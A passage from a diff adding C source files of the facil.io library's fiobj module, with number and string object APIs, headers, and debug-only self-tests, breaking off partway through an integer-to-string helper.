+  fprintf(stderr, "* FIOBJ_NUMBER_SIGN_EXCLUDE_BIT == %p\n",
+          (void *)FIOBJ_NUMBER_SIGN_EXCLUDE_BIT);
+  NUMTEST_ASSERT(FIOBJ_TYPE_IS(i, FIOBJ_T_NUMBER),
+                 "* FIOBJ_TYPE_IS failed to return true.");
+  NUMTEST_ASSERT((FIOBJ_TYPE(i) == FIOBJ_T_NUMBER),
+                 "* FIOBJ_TYPE failed to return type.");
+  NUMTEST_ASSERT(!FIOBJ_TYPE_IS(i, FIOBJ_T_NULL),
+                 "* FIOBJ_TYPE_IS failed to return false.");
+  NUMTEST_ASSERT((i & FIOBJECT_NUMBER_FLAG),
+                 "* Number 8 was dynamically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2num(i) == 8), "* Number 8 was not returned! %p\n",
+                 (void *)i);
+  fiobj_free(i);
+  i = fiobj_num_new(-1);
+  NUMTEST_ASSERT((i & FIOBJECT_NUMBER_FLAG),
+                 "* Number -1 was dynamically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2num(i) == -1), "* Number -1 was not returned! %p\n",
+                 (void *)i);
+  fiobj_free(i);
+  i = fiobj_num_new(INTPTR_MAX);
+  NUMTEST_ASSERT((i & FIOBJECT_NUMBER_FLAG) == 0,
+                 "* INTPTR_MAX was statically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2num(i) == INTPTR_MAX),
+                 "* INTPTR_MAX was not returned! %p\n", (void *)i);
+  NUMTEST_ASSERT(
+      FIOBJ_TYPE_IS(i, FIOBJ_T_NUMBER),
+      "* FIOBJ_TYPE_IS failed to return true for dynamic allocation.");
+  NUMTEST_ASSERT((FIOBJ_TYPE(i) == FIOBJ_T_NUMBER),
+                 "* FIOBJ_TYPE failed to return type for dynamic allocation.");
+  fiobj_free(i);
+  i = fiobj_num_new(INTPTR_MIN);
+  NUMTEST_ASSERT((i & FIOBJECT_NUMBER_FLAG) == 0,
+                 "* INTPTR_MIN was statically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2num(i) == INTPTR_MIN),
+                 "* INTPTR_MIN was not returned! %p\n", (void *)i);
+  fiobj_free(i);
+  fprintf(stderr, "* passed.\n");
+  fprintf(stderr, "=== Testing Floats\n");
+  i = fiobj_float_new(1.0);
+  NUMTEST_ASSERT(((i & FIOBJECT_NUMBER_FLAG) == 0),
+                 "* float 1 was statically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2float(i) == 1.0),
+                 "* Float 1.0 was not returned! %p\n", (void *)i);
+  fiobj_free(i);
+  i = fiobj_float_new(-1.0);
+  NUMTEST_ASSERT((i & FIOBJECT_NUMBER_FLAG) == 0,
+                 "* Float -1 was statically allocated?! %p\n", (void *)i);
+  NUMTEST_ASSERT((fiobj_obj2float(i) == -1.0),
+                 "* Float -1 was not returned! %p\n", (void *)i);
+  fiobj_free(i);
+  fprintf(stderr, "* passed.\n");
+}
+#endif

facil.io/lib/facil/fiobj/fiobj_numbers.h

@@ -0,0 +1,127 @@
+#ifndef H_FIOBJ_NUMBERS_H
+#define H_FIOBJ_NUMBERS_H
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+#include <fiobject.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+Numbers API (Integers)
+***************************************************************************** */
+
+/** Creates a Number object. Remember to use `fiobj_free`. */
+FIO_INLINE FIOBJ fiobj_num_new(intptr_t num);
+
+/** Creates a temporary Number object. Avoid using `fiobj_free`. */
+FIOBJ fiobj_num_tmp(intptr_t num);
+
+/* *****************************************************************************
+Float API (Double)
+***************************************************************************** */
+
+/** Creates a Float object. Remember to use `fiobj_free`.  */
+FIOBJ fiobj_float_new(double num);
+
+/** Mutates a Float object's value. Effects every object's reference!  */
+void fiobj_float_set(FIOBJ obj, double num);
+
+/** Creates a temporary Float object. Avoid using `fiobj_free`. */
+FIOBJ fiobj_float_tmp(double num);
+
+/* *****************************************************************************
+Numerical Helpers: not FIOBJ specific, but included as part of the library
+***************************************************************************** */
+
+/**
+ * A helper function that converts between String data to a signed int64_t.
+ *
+ * Numbers are assumed to be in base 10.
+ *
+ * The `0x##` (or `x##`) and `0b##` (or `b##`) are recognized as base 16 and
+ * base 2 (binary MSB first) respectively.
+ *
+ * The pointer will be updated to point to the first byte after the number.
+ */
+int64_t fio_atol(char **pstr);
+
+/** A helper function that converts between String data to a signed double. */
+double fio_atof(char **pstr);
+
+/**
+ * A helper function that converts between a signed int64_t to a string.
+ *
+ * No overflow guard is provided, make sure there's at least 66 bytes available
+ * (for base 2).
+ *
+ * Supports base 2, base 10 and base 16. An unsupported base will silently
+ * default to base 10. Prefixes aren't added (i.e., no "0x" or "0b" at the
+ * beginning of the string).
+ *
+ * Returns the number of bytes actually written (excluding the NUL terminator).
+ */
+size_t fio_ltoa(char *dest, int64_t num, uint8_t base);
+
+/**
+ * A helper function that converts between a double to a string.
+ *
+ * No overflow guard is provided, make sure there's at least 130 bytes available
+ * (for base 2).
+ *
+ * Supports base 2, base 10 and base 16. An unsupported base will silently
+ * default to base 10. Prefixes aren't added (i.e., no "0x" or "0b" at the
+ * beginning of the string).
+ *
+ * Returns the number of bytes actually written (excluding the NUL terminator).
+ */
+size_t fio_ftoa(char *dest, double num, uint8_t base);
+
+/** Converts a number to a temporary, thread safe, C string object */
+fio_str_info_s __attribute__((deprecated("use local buffer with fio_ltoa")))
+fio_ltocstr(long);
+
+/** Converts a float to a temporary, thread safe, C string object */
+fio_str_info_s __attribute__((deprecated("use local buffer with fio_ftoa")))
+fio_ftocstr(double);
+
+/* *****************************************************************************
+Pointer Wrapping Helper MACROs (uses integers)
+***************************************************************************** */
+
+#define fiobj_ptr_wrap(ptr) fiobj_num_new((uintptr_t)(ptr))
+#define fiobj_ptr_unwrap(obj) ((void *)fiobj_obj2num((obj)))
+
+/* *****************************************************************************
+Inline Number Initialization
+***************************************************************************** */
+
+FIOBJ fiobj_num_new_bignum(intptr_t num);
+
+/** Creates a Number object. Remember to use `fiobj_free`. */
+FIO_INLINE FIOBJ fiobj_num_new(intptr_t num) {
+  if ((((uintptr_t)num &
+        (FIOBJ_NUMBER_SIGN_BIT | FIOBJ_NUMBER_SIGN_EXCLUDE_BIT)) == 0) ||
+      (((uintptr_t)num &
+        (FIOBJ_NUMBER_SIGN_BIT | FIOBJ_NUMBER_SIGN_EXCLUDE_BIT)) ==
+       (FIOBJ_NUMBER_SIGN_BIT | FIOBJ_NUMBER_SIGN_EXCLUDE_BIT))) {
+    const uintptr_t num_abs = (uintptr_t)num & FIOBJ_NUMBER_SIGN_MASK;
+    const uintptr_t num_sign = (uintptr_t)num & FIOBJ_NUMBER_SIGN_BIT;
+    return ((num_abs << 1) | num_sign | FIOBJECT_NUMBER_FLAG);
+  }
+  return fiobj_num_new_bignum(num);
+}
+
+#if DEBUG
+void fiobj_test_numbers(void);
+#endif
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobj_str.c

@@ -0,0 +1,420 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+#if defined(__unix__) || defined(__APPLE__) || defined(__linux__)
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#endif
+
+#ifdef _SC_PAGESIZE
+#define PAGE_SIZE sysconf(_SC_PAGESIZE)
+#else
+#define PAGE_SIZE 4096
+#endif
+
+#include <fiobject.h>
+
+#include <fio_siphash.h>
+#include <fiobj_numbers.h>
+#include <fiobj_str.h>
+
+#include <assert.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <string.h>
+#include <sys/stat.h>
+
+#define FIO_INCLUDE_STR
+#define FIO_STR_NO_REF
+#include <fio.h>
+
+#ifndef PATH_MAX
+#define PATH_MAX PAGE_SIZE
+#endif
+
+/* *****************************************************************************
+String Type
+***************************************************************************** */
+
+typedef struct {
+  fiobj_object_header_s head;
+  uint64_t hash;
+  fio_str_s str;
+} fiobj_str_s;
+
+#define obj2str(o) ((fiobj_str_s *)(FIOBJ2PTR(o)))
+
+static inline fio_str_info_s fiobj_str_get_cstr(const FIOBJ o) {
+  return fio_str_info(&obj2str(o)->str);
+}
+
+/* *****************************************************************************
+String VTables
+***************************************************************************** */
+
+static fio_str_info_s fio_str2str(const FIOBJ o) {
+  return fiobj_str_get_cstr(o);
+}
+
+static void fiobj_str_dealloc(FIOBJ o, void (*task)(FIOBJ, void *), void *arg) {
+  fio_str_free(&obj2str(o)->str);
+  fio_free(FIOBJ2PTR(o));
+  (void)task;
+  (void)arg;
+}
+
+static size_t fiobj_str_is_eq(const FIOBJ self, const FIOBJ other) {
+  return fio_str_iseq(&obj2str(self)->str, &obj2str(other)->str);
+}
+
+static intptr_t fio_str2i(const FIOBJ o) {
+  char *pos = fio_str_data(&obj2str(o)->str);
+  return fio_atol(&pos);
+}
+static double fio_str2f(const FIOBJ o) {
+  char *pos = fio_str_data(&obj2str(o)->str);
+  return fio_atof(&pos);
+}
+
+static size_t fio_str2bool(const FIOBJ o) {
+  return fio_str_len(&obj2str(o)->str) != 0;
+}
+
+uintptr_t fiobject___noop_count(const FIOBJ o);
+
+const fiobj_object_vtable_s FIOBJECT_VTABLE_STRING = {
+    .class_name = "String",
+    .dealloc = fiobj_str_dealloc,
+    .to_i = fio_str2i,
+    .to_f = fio_str2f,
+    .to_str = fio_str2str,
+    .is_eq = fiobj_str_is_eq,
+    .is_true = fio_str2bool,
+    .count = fiobject___noop_count,
+};
+
+/* *****************************************************************************
+String API
+***************************************************************************** */
+
+/** Creates a buffer String object. Remember to use `fiobj_free`. */
+FIOBJ fiobj_str_buf(size_t capa) {
+  if (capa)
+    capa = capa + 1;
+  else
+    capa = PAGE_SIZE;
+
+  fiobj_str_s *s = fio_malloc(sizeof(*s));
+  if (!s) {
+    perror("ERROR: fiobj string couldn't allocate memory");
+    exit(errno);
+  }
+  *s = (fiobj_str_s){
+      .head =
+          {
+              .ref = 1,
+              .type = FIOBJ_T_STRING,
+          },
+      .str = FIO_STR_INIT,
+  };
+  if (capa) {
+    fio_str_capa_assert(&s->str, capa);
+  }
+  return ((uintptr_t)s | FIOBJECT_STRING_FLAG);
+}
+
+/** Creates a String object. Remember to use `fiobj_free`. */
+FIOBJ fiobj_str_new(const char *str, size_t len) {
+  fiobj_str_s *s = fio_malloc(sizeof(*s));
+  if (!s) {
+    perror("ERROR: fiobj string couldn't allocate memory");
+    exit(errno);
+  }
+  *s = (fiobj_str_s){
+      .head =
+          {
+              .ref = 1,
+              .type = FIOBJ_T_STRING,
+          },
+      .str = FIO_STR_INIT,
+  };
+  if (str && len) {
+    fio_str_write(&s->str, str, len);
+  }
+  return ((uintptr_t)s | FIOBJECT_STRING_FLAG);
+}
+
+/**
+ * Creates a String object. Remember to use `fiobj_free`.
+ *
+ * It's possible to wrap a previosly allocated memory block in a FIOBJ String
+ * object, as long as it was allocated using `fio_malloc`.
+ *
+ * The ownership of the memory indicated by `str` will "move" to the object and
+ * will be freed (using `fio_free`) once the object's reference count drops to
+ * zero.
+ */
+FIOBJ fiobj_str_move(char *str, size_t len, size_t capacity) {
+  fiobj_str_s *s = fio_malloc(sizeof(*s));
+  if (!s) {
+    perror("ERROR: fiobj string couldn't allocate memory");
+    exit(errno);
+  }
+  *s = (fiobj_str_s){
+      .head =
+          {
+              .ref = 1,
+              .type = FIOBJ_T_STRING,
+          },
+      .str = FIO_STR_INIT_EXISTING(str, len, capacity),
+  };
+  return ((uintptr_t)s | FIOBJECT_STRING_FLAG);
+}
+
+/**
+ * Returns a thread-static temporary string. Avoid calling `fiobj_dup` or
+ * `fiobj_free`.
+ */
+FIOBJ fiobj_str_tmp(void) {
+  static __thread fiobj_str_s tmp = {
+      .head =
+          {
+              .ref = ((~(uint32_t)0) >> 4),
+              .type = FIOBJ_T_STRING,
+          },
+      .str = {.small = 1},
+  };
+  tmp.str.frozen = 0;
+  fio_str_resize(&tmp.str, 0);
+  return ((uintptr_t)&tmp | FIOBJECT_STRING_FLAG);
+}
+
+/** Prevents the String object from being changed. */
+void fiobj_str_freeze(FIOBJ str) {
+  if (FIOBJ_TYPE_IS(str, FIOBJ_T_STRING))
+    fio_str_freeze(&obj2str(str)->str);
+}
+
+/** Confirms the requested capacity is available and allocates as required. */
+size_t fiobj_str_capa_assert(FIOBJ str, size_t size) {
+
+  assert(FIOBJ_TYPE_IS(str, FIOBJ_T_STRING));
+  if (obj2str(str)->str.frozen)
+    return 0;
+  fio_str_info_s state = fio_str_capa_assert(&obj2str(str)->str, size);
+  return state.capa;
+}
+
+/** Return's a String's capacity, if any. */
+size_t fiobj_str_capa(FIOBJ str) {
+  assert(FIOBJ_TYPE_IS(str, FIOBJ_T_STRING));
+  return fio_str_capa(&obj2str(str)->str);
+}
+
+/** Resizes a String object, allocating more memory if required. */
+void fiobj_str_resize(FIOBJ str, size_t size) {
+  assert(FIOBJ_TYPE_IS(str, FIOBJ_T_STRING));
+  fio_str_resize(&obj2str(str)->str, size);
+  obj2str(str)->hash = 0;
+  return;
+}
+
+/** Deallocates any unnecessary memory (if supported by OS). */
+void fiobj_str_compact(FIOBJ str) {
+  assert(FIOBJ_TYPE_IS(str, FIOBJ_T_STRING));
+  fio_str_compact(&obj2str(str)->str);
+  return;
+}
+
+/** Empties a String's data. */
+void fiobj_str_clear(FIOBJ str) {
+  assert(FIOBJ_TYPE_IS(str, FIOBJ_T_STRING));
+  fio_str_resize(&obj2str(str)->str, 0);
+  obj2str(str)->hash = 0;
+}
+
+/**
+ * Writes data at the end of the string, resizing the string as required.
+ * Returns the new length of the String
+ */
+size_t fiobj_str_write(FIOBJ dest, const char *data, size_t len) {
+  assert(FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (obj2str(dest)->str.frozen)
+    return 0;
+  obj2str(dest)->hash = 0;
+  return fio_str_write(&obj2str(dest)->str, data, len).len;
+}
+
+/**
+ * Writes a number at the end of the String using normal base 10 notation.
+ *
+ * Returns the new length of the String
+ */
+size_t fiobj_str_write_i(FIOBJ dest, int64_t num) {
+  assert(FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (obj2str(dest)->str.frozen)
+    return 0;
+  obj2str(dest)->hash = 0;
+  return fio_str_write_i(&obj2str(dest)->str, num).len;
+}
+
+/**
+ * Writes data at the end of the string, resizing the string as required.
+ * Returns the new length of the String
+ */
+size_t fiobj_str_printf(FIOBJ dest, const char *format, ...) {
+  assert(FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (obj2str(dest)->str.frozen)
+    return 0;
+  obj2str(dest)->hash = 0;
+  va_list argv;
+  va_start(argv, format);
+  fio_str_info_s state = fio_str_vprintf(&obj2str(dest)->str, format, argv);
+  va_end(argv);
+  return state.len;
+}
+
+size_t fiobj_str_vprintf(FIOBJ dest, const char *format, va_list argv) {
+  assert(FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (obj2str(dest)->str.frozen)
+    return 0;
+  obj2str(dest)->hash = 0;
+  fio_str_info_s state = fio_str_vprintf(&obj2str(dest)->str, format, argv);
+  return state.len;
+}
+
+/** Dumps the `filename` file's contents at the end of a String. If `limit ==
+ * 0`, than the data will be read until EOF.
+ *
+ * If the file can't be located, opened or read, or if `start_at` is beyond
+ * the EOF position, NULL is returned.
+ *
+ * Remember to use `fiobj_free`.
+ */
+size_t fiobj_str_readfile(FIOBJ dest, const char *filename, intptr_t start_at,
+                          intptr_t limit) {
+  fio_str_info_s state =
+      fio_str_readfile(&obj2str(dest)->str, filename, start_at, limit);
+  return state.len;
+}
+
+/**
+ * Writes data at the end of the string, resizing the string as required.
+ * Returns the new length of the String
+ */
+size_t fiobj_str_concat(FIOBJ dest, FIOBJ obj) {
+  assert(FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (obj2str(dest)->str.frozen)
+    return 0;
+  obj2str(dest)->hash = 0;
+  fio_str_info_s o = fiobj_obj2cstr(obj);
+  if (o.len == 0)
+    return fio_str_len(&obj2str(dest)->str);
+  return fio_str_write(&obj2str(dest)->str, o.data, o.len).len;
+}
+
+/**
+ * Calculates a String's SipHash value for use as a HashMap key.
+ */
+uint64_t fiobj_str_hash(FIOBJ o) {
+  assert(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING));
+  // if (obj2str(o)->is_small) {
+  //   return fiobj_hash_string(STR_INTENAL_STR(o), STR_INTENAL_LEN(o));
+  // } else
+  if (obj2str(o)->hash) {
+    return obj2str(o)->hash;
+  }
+  fio_str_info_s state = fio_str_info(&obj2str(o)->str);
+  obj2str(o)->hash = fiobj_hash_string(state.data, state.len);
+  return obj2str(o)->hash;
+}
+
+/* *****************************************************************************
+Tests
+***************************************************************************** */
+
+#if DEBUG
+void fiobj_test_string(void) {
+  fprintf(stderr, "=== Testing Strings\n");
+  fprintf(stderr, "* Internal String Capacity %u \n",
+          (unsigned int)FIO_STR_SMALL_CAPA);
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "Testing failed.\n");                                      \
+    exit(-1);                                                                  \
+  }
+#define STR_EQ(o, str)                                                         \
+  TEST_ASSERT((fiobj_str_getlen(o) == strlen(str) &&                           \
+               !memcmp(fiobj_str_mem_addr(o), str, strlen(str))),              \
+              "String not equal to " str)
+  FIOBJ o = fiobj_str_new("Hello", 5);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING), "Small String isn't string!\n");
+  TEST_ASSERT(obj2str(o)->str.small, "Hello isn't small\n");
+  fiobj_str_write(o, " World", 6);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING),
+              "Hello World String isn't string!\n");
+  TEST_ASSERT(obj2str(o)->str.small, "Hello World isn't small\n");
+  TEST_ASSERT(fiobj_obj2cstr(o).len == 11,
+              "Invalid small string length (%u != 11)!\n",
+              (unsigned int)fiobj_obj2cstr(o).len)
+  fiobj_str_write(o, " World, you crazy longer sleep loving person :-)", 48);
+  TEST_ASSERT(!obj2str(o)->str.small, "Crazier shouldn't be small\n");
+  fiobj_free(o);
+
+  o = fiobj_str_new(
+      "hello my dear friend, I hope that your are well and happy.", 58);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING), "Long String isn't string!\n");
+  TEST_ASSERT(!obj2str(o)->str.small,
+              "Long String is small! (capa: %lu, len: %lu)\n",
+              fio_str_capa(&obj2str(o)->str), fio_str_len(&obj2str(o)->str));
+  TEST_ASSERT(fiobj_obj2cstr(o).len == 58,
+              "Invalid long string length (%lu != 58)!\n",
+              fiobj_obj2cstr(o).len)
+  uint64_t hash = fiobj_str_hash(o);
+  TEST_ASSERT(!obj2str(o)->str.frozen, "String forzen when only hashing!\n");
+  fiobj_str_freeze(o);
+  TEST_ASSERT(obj2str(o)->str.frozen, "String not forzen!\n");
+  fiobj_str_write(o, " World", 6);
+  TEST_ASSERT(hash == fiobj_str_hash(o),
+              "String hash changed after hashing - not frozen?\n");
+  TEST_ASSERT(fiobj_obj2cstr(o).len == 58,
+              "String was edited after hashing - not frozen!\n (%lu): %s",
+              (unsigned long)fiobj_obj2cstr(o).len, fiobj_obj2cstr(o).data);
+  fiobj_free(o);
+
+  o = fiobj_str_buf(1);
+  fiobj_str_printf(o, "%u", 42);
+  TEST_ASSERT(fio_str_len(&obj2str(o)->str) == 2,
+              "fiobj_strprintf length error.\n");
+  TEST_ASSERT(fiobj_obj2num(o), "fiobj_strprintf integer error.\n");
+  TEST_ASSERT(!memcmp(fiobj_obj2cstr(o).data, "42", 2),
+              "fiobj_strprintf string error.\n");
+  fiobj_free(o);
+
+  o = fiobj_str_buf(4);
+  for (int i = 0; i < 16000; ++i) {
+    fiobj_str_write(o, "a", 1);
+  }
+  TEST_ASSERT(fio_str_len(&obj2str(o)->str) == 16000,
+              "16K fiobj_str_write not 16K.\n");
+  TEST_ASSERT(fio_str_capa(&obj2str(o)->str) >= 16000,
+              "16K fiobj_str_write capa not enough.\n");
+  fiobj_free(o);
+
+  o = fiobj_str_buf(0);
+  TEST_ASSERT(fiobj_str_readfile(o, __FILE__, 0, 0),
+              "`fiobj_str_readfile` - file wasn't read!");
+  TEST_ASSERT(!memcmp(fiobj_obj2cstr(o).data, "/*", 2),
+              "`fiobj_str_readfile` error, start of file doesn't match:\n%s",
+              fiobj_obj2cstr(o).data);
+  fiobj_free(o);
+
+  fprintf(stderr, "* passed.\n");
+}
+#endif

facil.io/lib/facil/fiobj/fiobj_str.h

@@ -0,0 +1,172 @@
+#ifndef H_FIOBJ_STR_H
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#define H_FIOBJ_STR_H
+
+#include <fiobject.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define FIOBJ_IS_STRING(obj) FIOBJ_TYPE_IS((obj), FIOBJ_T_STRING)
+
+/* *****************************************************************************
+API: Creating a String Object
+***************************************************************************** */
+
+/** Creates a String object. Remember to use `fiobj_free`. */
+FIOBJ fiobj_str_new(const char *str, size_t len);
+
+/**
+ * Creates a String object with pre-allocation for Strings up to `capa` long.
+ *
+ * If `capa` is zero, a whole memory page will be allocated.
+ *
+ * Remember to use `fiobj_free`.
+ */
+FIOBJ fiobj_str_buf(size_t capa);
+
+/** Creates a copy from an existing String. Remember to use `fiobj_free`. */
+static inline __attribute__((unused)) FIOBJ fiobj_str_copy(FIOBJ src) {
+  fio_str_info_s s = fiobj_obj2cstr(src);
+  return fiobj_str_new(s.data, s.len);
+}
+
+/**
+ * Creates a String object. Remember to use `fiobj_free`.
+ *
+ * It's possible to wrap a previosly allocated memory block in a FIOBJ String
+ * object, as long as it was allocated using `fio_malloc`.
+ *
+ * The ownership of the memory indicated by `str` will "move" to the object and
+ * will be freed (using `fio_free`) once the object's reference count drops to
+ * zero.
+ *
+ * Note: The original memory MUST be allocated using `fio_malloc` (NOT the
+ *       system's `malloc`) and it will be freed using `fio_free`.
+ */
+FIOBJ fiobj_str_move(char *str, size_t len, size_t capacity);
+
+/**
+ * Returns a thread-static temporary string. Avoid calling `fiobj_dup` or
+ * `fiobj_free`.
+ */
+FIOBJ fiobj_str_tmp(void);
+
+/* *****************************************************************************
+API: Editing a String
+***************************************************************************** */
+
+/**
+ * Prevents the String object from being changed.
+ *
+ * When a String is used as a key for a Hash, it is automatically frozen to
+ * prevent the Hash from becoming broken.
+ */
+void fiobj_str_freeze(FIOBJ str);
+
+/**
+ * Confirms the String allows for the requested capacity (counting used space as
+ * well as free space).
+ *
+ * Returns updated capacity.
+ */
+size_t fiobj_str_capa_assert(FIOBJ str, size_t size);
+
+/** Returns a String's capacity, if any. This should include the NUL byte. */
+size_t fiobj_str_capa(FIOBJ str);
+
+/** Resizes a String object, allocating more memory if required. */
+void fiobj_str_resize(FIOBJ str, size_t size);
+
+/**
+ * Performs a best attempt at minimizing memory consumption.
+ *
+ * Actual effects depend on the underlying memory allocator and it's
+ * implementation. Not all allocators will free any memory.
+ */
+void fiobj_str_compact(FIOBJ str);
+
+/** Alias for `fiobj_str_compact`. */
+#define fiobj_str_minimize(str) fiobj_str_compact((str))
+
+/** Empties a String's data. */
+void fiobj_str_clear(FIOBJ str);
+
+/**
+ * Writes data at the end of the string, resizing the string as required.
+ * Returns the new length of the String
+ */
+size_t fiobj_str_write(FIOBJ dest, const char *data, size_t len);
+
+/**
+ * Writes a number at the end of the String using normal base 10 notation.
+ *
+ * Returns the new length of the String
+ */
+size_t fiobj_str_write_i(FIOBJ dest, int64_t num);
+
+/**
+ * Writes data at the end of the string using a printf like interface, resizing
+ * the string as required. Returns the new length of the String
+ */
+__attribute__((format(printf, 2, 3))) size_t
+fiobj_str_printf(FIOBJ dest, const char *format, ...);
+
+/**
+ * Writes data at the end of the string using a vprintf like interface, resizing
+ * the string as required.
+ *
+ * Returns the new length of the String
+ */
+__attribute__((format(printf, 2, 0))) size_t
+fiobj_str_vprintf(FIOBJ dest, const char *format, va_list argv);
+
+/**
+ * Writes data at the end of the string, resizing the string as required.
+ *
+ * Remember to call `fiobj_free` to free the source (when done with it).
+ *
+ * Returns the new length of the String.
+ */
+size_t fiobj_str_concat(FIOBJ dest, FIOBJ source);
+#define fiobj_str_join(dest, src) fiobj_str_concat((dest), (src))
+
+/**
+ * Dumps the `filename` file's contents at the end of the String.
+ *
+ * If `limit == 0`, than the data will be read until EOF.
+ *
+ * If the file can't be located, opened or read, or if `start_at` is out of
+ * bounds (i.e., beyond the EOF position), FIOBJ_INVALID is returned.
+ *
+ * If `start_at` is negative, it will be computed from the end of the file.
+ *
+ * Remember to use `fiobj_free`.
+ *
+ * NOTE: Requires a UNIX system, otherwise always returns FIOBJ_INVALID.
+ */
+size_t fiobj_str_readfile(FIOBJ dest, const char *filename, intptr_t start_at,
+                          intptr_t limit);
+
+/* *****************************************************************************
+API: String Values
+***************************************************************************** */
+
+/**
+ * Calculates a String's SipHash value for possible use as a HashMap key.
+ */
+uint64_t fiobj_str_hash(FIOBJ o);
+
+#if DEBUG
+void fiobj_test_string(void);
+#endif
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobject.c

@@ -0,0 +1,620 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+/**
+This facil.io core library provides wrappers around complex and (or) dynamic
+types, abstracting some complexity and making dynamic type related tasks easier.
+*/
+
+#include <fiobject.h>
+
+#define FIO_ARY_NAME fiobj_stack
+#define FIO_ARY_TYPE FIOBJ
+#define FIO_ARY_INVALID FIOBJ_INVALID
+/* don't free or compare objects, this stack shouldn't have side-effects */
+#include <fio.h>
+
+#include <stdarg.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* *****************************************************************************
+Use the facil.io features when available, but override when missing.
+***************************************************************************** */
+#ifndef fd_data /* defined in fio.c */
+
+#pragma weak fio_malloc
+void *fio_malloc(size_t size) {
+  void *m = malloc(size);
+  if (m)
+    memset(m, 0, size);
+  return m;
+}
+
+#pragma weak fio_calloc
+void *__attribute__((weak)) fio_calloc(size_t size, size_t count) {
+  return calloc(size, count);
+}
+
+#pragma weak fio_free
+void __attribute__((weak)) fio_free(void *ptr) { free(ptr); }
+
+#pragma weak fio_realloc
+void *__attribute__((weak)) fio_realloc(void *ptr, size_t new_size) {
+  return realloc(ptr, new_size);
+}
+
+#pragma weak fio_realloc2
+void *__attribute__((weak))
+fio_realloc2(void *ptr, size_t new_size, size_t valid_len) {
+  return realloc(ptr, new_size);
+  (void)valid_len;
+}
+
+#pragma weak fio_mmap
+void *__attribute__((weak)) fio_mmap(size_t size) { return fio_malloc(size); }
+
+/** The logging level */
+#if DEBUG
+#pragma weak FIO_LOG_LEVEL
+int __attribute__((weak)) FIO_LOG_LEVEL = FIO_LOG_LEVEL_DEBUG;
+#else
+#pragma weak FIO_LOG_LEVEL
+int __attribute__((weak)) FIO_LOG_LEVEL = FIO_LOG_LEVEL_INFO;
+#endif
+
+/**
+ * We include this in case the parser is used outside of facil.io.
+ */
+int64_t __attribute__((weak)) fio_atol(char **pstr) {
+  return strtoll(*pstr, pstr, 0);
+}
+#pragma weak fio_atol
+
+/**
+ * We include this in case the parser is used outside of facil.io.
+ */
+double __attribute__((weak)) fio_atof(char **pstr) {
+  return strtod(*pstr, pstr);
+}
+#pragma weak fio_atof
+
+/**
+ * A helper function that writes a signed int64_t to a string.
+ *
+ * No overflow guard is provided, make sure there's at least 68 bytes
+ * available (for base 2).
+ *
+ * Offers special support for base 2 (binary), base 8 (octal), base 10 and base
+ * 16 (hex). An unsupported base will silently default to base 10. Prefixes
+ * are automatically added (i.e., "0x" for hex and "0b" for base 2).
+ *
+ * Returns the number of bytes actually written (excluding the NUL
+ * terminator).
+ */
+#pragma weak fio_ltoa
+size_t __attribute__((weak)) fio_ltoa(char *dest, int64_t num, uint8_t base) {
+  const char notation[] = {'0', '1', '2', '3', '4', '5', '6', '7',
+                           '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
+
+  size_t len = 0;
+  char buf[48]; /* we only need up to 20 for base 10, but base 3 needs 41... */
+
+  if (!num)
+    goto zero;
+
+  switch (base) {
+  case 1: /* fallthrough */
+  case 2:
+    /* Base 2 */
+    {
+      uint64_t n = num; /* avoid bit shifting inconsistencies with signed bit */
+      uint8_t i = 0;    /* counting bits */
+      dest[len++] = '0';
+      dest[len++] = 'b';
+
+      while ((i < 64) && (n & 0x8000000000000000) == 0) {
+        n = n << 1;
+        i++;
+      }
+      /* make sure the Binary representation doesn't appear signed. */
+      if (i) {
+        dest[len++] = '0';
+      }
+      /* write to dest. */
+      while (i < 64) {
+        dest[len++] = ((n & 0x8000000000000000) ? '1' : '0');
+        n = n << 1;
+        i++;
+      }
+      dest[len] = 0;
+      return len;
+    }
+  case 8:
+    /* Base 8 */
+    {
+      uint64_t l = 0;
+      if (num < 0) {
+        dest[len++] = '-';
+        num = 0 - num;
+      }
+      dest[len++] = '0';
+
+      while (num) {
+        buf[l++] = '0' + (num & 7);
+        num = num >> 3;
+      }
+      while (l) {
+        --l;
+        dest[len++] = buf[l];
+      }
+      dest[len] = 0;
+      return len;
+    }
+
+  case 16:
+    /* Base 16 */
+    {
+      uint64_t n = num; /* avoid bit shifting inconsistencies with signed bit */
+      uint8_t i = 0;    /* counting bits */
+      dest[len++] = '0';
+      dest[len++] = 'x';
+      while (i < 8 && (n & 0xFF00000000000000) == 0) {
+        n = n << 8;
